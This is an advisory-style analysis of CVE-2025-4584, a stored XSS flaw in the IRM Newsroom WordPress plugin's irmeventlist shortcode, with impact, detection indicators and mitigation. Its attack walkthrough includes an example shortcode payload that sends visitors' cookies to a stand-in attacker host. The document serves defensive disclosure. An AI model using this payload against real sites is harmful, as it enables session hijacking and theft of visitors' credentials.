CVE-2025-4584: 
WordPress vulnerability analysis and mitigation

CVE-2025-4584 is a Stored Cross-Site Scripting (XSS) vulnerability in the IRM Newsroom plugin for WordPress, affecting all versions up to and including 1.2.19 (CPE data references up to 1.2.17). The flaw exists in the plugin's irmeventlist shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on June 13, 2025, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) per NVD, or 6.4 (Medium) per ENISA EUVD (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. The irmeventlist shortcode in irm-newsroom.php (around line 494) fails to properly sanitize user-supplied shortcode attributes before rendering them in page output, allowing injected scripts to persist in the database and execute in victims' browsers. Exploitation requires the attacker to have at minimum contributor-level authentication on the WordPress site, after which they can embed malicious JavaScript via the shortcode in any post or page they can edit (Wordfence, ENISA EUVD).

Successful exploitation allows an authenticated attacker with contributor-level access to inject persistent malicious JavaScript into WordPress pages, which executes in the browsers of any user who visits the affected page. This can lead to session cookie theft, credential harvesting, defacement, or redirection to malicious sites, with low confidentiality and integrity impact per the CVSS scoring. The changed scope indicates the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-4584. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the IRM Newsroom plugin version ≤ 1.2.19 by checking plugin metadata or using tools like WPScan.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the irmeventlist shortcode with a malicious attribute payload, e.g., [irmeventlist attribute="\"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or save the content: Submit the post/page so the malicious payload is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing irmeventlist shortcode with suspicious attribute values (e.g., <script>, javascript:, encoded payloads).
• Database: Unexpected <script> tags or JavaScript URIs stored in the wp_posts table within irmeventlist shortcode attributes.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the irmeventlist shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to irm-newsroom.php or related plugin files if an attacker escalated to file write access after initial XSS exploitation.

WordPress site administrators should update the IRM Newsroom plugin to a version beyond 1.2.19 if a patched release is available from the plugin vendor. If no patch is yet available, the recommended workaround is to disable or remove the IRM Newsroom plugin entirely until a fix is released. Site administrators should also audit existing posts and pages for any irmeventlist shortcode usage containing suspicious attribute values and remove or sanitize them. Restricting contributor-level user registration and enforcing the principle of least privilege can reduce the attack surface (Wordfence, Wordfence Weekly Report).

Wordfence disclosed and reported this vulnerability as part of their weekly WordPress vulnerability intelligence report for the week of June 9–15, 2025, noting it as a stored XSS issue requiring contributor-level access (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.